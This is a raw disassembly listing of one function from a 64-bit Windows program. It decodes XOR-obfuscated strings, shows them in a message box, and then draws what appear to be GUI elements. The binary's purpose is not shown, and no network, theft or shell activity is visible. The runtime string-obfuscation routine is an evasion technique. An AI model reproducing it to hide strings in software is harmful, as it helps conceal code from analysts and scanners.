movd dword [rbp + 0x1a8], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1ac]
xorps xmm2, xmm1
movd dword [rbp + 0x1ac], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1a8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140099a80
movups xmm0, xmmword [str.k_GZWk]
movups xmmword [rbp + 0xb40], xmm0
movups xmm1, xmmword [0x14015cab0]
movups xmmword [rbp + 0xb50], xmm1
movups xmm0, xmmword [0x14015cac0]
movups xmmword [rbp + 0xb60], xmm0
movzx eax, word [0x14015cad0]
mov word [rbp + 0xb70], ax
mov r8d, r12d
cmp r14d, 2
jl 0x140099c39
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xb44]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140099b30
cmp r8d, 0x32
jge 0x140099c80
movsxd rax, r8d
lea r9, [rbp + 0xb40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x140099c50
mov r9d, 0x40
lea r8, [rbp + 0x1a8]
lea rdx, [rbp + 0xb40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140068b60
mov dword [rbp + 0x4f8], 0x42480000
mov dword [rbp + 0x4fc], 0x43b90000
lea rcx, [rbp + 0x4f8]
call fcn.140025d40
movaps xmm7, xmmword [0x14015f2c0]
mov dword [rbp + 0x500], 0x43f50000
mov dword [rbp + 0x504], 0x42200000
movups xmm0, xmmword [str.sYWP_]
movups xmmword [rbp + 0x780], xmm0
mov eax, dword [0x14015caf8]
mov dword [rbp + 0x790], eax
movzx eax, byte [0x14015cafc]
mov byte [rbp + 0x794], al
cmp r14d, 2
jl 0x140099e4c
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x784]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r12d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r12 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r12d, 8
mov eax, r12d
lea rcx, [rcx + 8]
cmp r12d, 0x10
jl 0x140099d40
cmp eax, 0x15
jge 0x140099e90
movsxd rax, r12d
lea r8, [rbp + 0x780]
add r8, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r12d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r12b
sub al, cl
add al, 0x30
xor byte [r8], al
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x15
jl 0x140099e60
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018d808]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d800]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d7f8]
xor r8d, r8d
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0x780]
call fcn.14003f580
test al, al
je 0x140099f11
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x14018e6fa], 0
mov byte [0x14018e6fb], 1
mov rcx, r15
call fcn.140025b40
mov dword [rbp + 0x508], 0x440c0000
mov dword [rbp + 0x50c], 0x40a00000
lea rcx, [rbp + 0x508]
call fcn.140025d40
movaps xmm0, xmmword [0x14015f2d0]
movaps xmm1, xmmword [0x14015f2a0]
mov dword [rbp + 0x5e0], 0x41a00000
mov dword [rbp + 0x5e4], 0x41f00000
movzx eax, word [0x14015cb00]
mov word [rbp - 0x74], ax
cmp byte [0x14015cb01], 0
je 0x140099f7b
mov byte [rbp - 0x74], 0x78
xor byte [rbp - 0x73], 0x31
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x14018d850]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d848]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d840]
xor r8d, r8d
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp - 0x74]
call fcn.14003fec0
test al, al
je 0x140099fdc
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140015c00
mov ecx, 2
call fcn.1400215e0
mov ecx, 1
call fcn.140021690
mov rcx, qword [0x14018e610]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rbx, qword [rcx + 0x1d18]
mov dword [rbp + 0x518], 0
mov dword [rbp + 0x51c], 0x43e50000
lea rcx, [rbp + 0x518]
call fcn.140025d40
movss xmm7, dword [rbx + 0x118]
movss xmm6, dword [rbx + 0x11c]
movss xmm8, dword [0x14015f1ac]
movss xmm9, dword [0x140116f04]
movaps xmm3, xmm9
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq rdx, xmm0
lea rcx, [rbp + 0x10d0]
call fcn.140009b40
movaps xmm1, xmm7
addss xmm1, dword [rbp + 0x10d0]
movaps xmm0, xmm6
addss xmm0, dword [rbp + 0x10d4]
movss dword [rbp + 0x10f8], xmm7
movss dword [rbp + 0x10fc], xmm6
movss dword [rbp + 0x1100], xmm1
movss dword [rbp + 0x1104], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x1100]
lea rdx, [rbp + 0x10f8]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f810
mov qword [rbp + 0x520], 0
lea rcx, [rbp + 0x520]
call fcn.140025d40
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movaps xmm3, xmm9
movaps xmm2, xmm8
movaps xmm0, xmm8
unpcklps xmm0, xmm9
movq rdx, xmm0
lea rcx, [rbp + 0x10c8]
call fcn.140009b40
movaps xmm1, xmm6
addss xmm1, dword [rbp + 0x10c8]
movaps xmm0, xmm7
addss xmm0, dword [rbp + 0x10cc]
movss dword [rbp + 0x10e8], xmm6
movss dword [rbp + 0x10ec], xmm7
movss dword [rbp + 0x10f0], xmm1
movss dword [rbp + 0x10f4], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x10f0]
lea rdx, [rbp + 0x10e8]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f810
mov dword [rbp + 0x528], 0x43160000
mov dword [rbp + 0x52c], 0xbf800000
lea rcx, [rbp + 0x528]
call fcn.140025d40
movss xmm6, dword [rbx + 0x118]
movss xmm7, dword [rbx + 0x11c]
movaps xmm3, xmm10
movaps xmm2, xmm9
movaps xmm0, xmm9
unpcklps xmm0, xmm10
movq rdx, xmm0
lea rcx, [rbp + 0x1040]
call fcn.140009b40
movaps xmm1, xmm6
addss xmm1, dword [rbp + 0x1040]
movaps xmm0, xmm7
addss xmm0, dword [rbp + 0x1044]
movss dword [rbp + 0x10d8], xmm6
movss dword [rbp + 0x10dc], xmm7
movss dword [rbp + 0x10e0], xmm1
movss dword [rbp + 0x10e4], xmm0
mov dword [rsp + 0x30], 0xff3366cc
mov dword [rsp + 0x28], 0xff3366cc
mov dword [rsp + 0x20], 0xff3366cc
mov r9d, 0xff3366cc
lea r8, [rbp + 0x10e0]
lea rdx, [rbp + 0x10d8]
mov rcx, qword [rbx + 0x2f8]
call fcn.14002f810
call fcn.1400156e0
mov rcx, qword [rbp + 0x1198]
xor rcx, rsp
call fcn.140109ac0
lea r11, [rsp + 0x1318]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3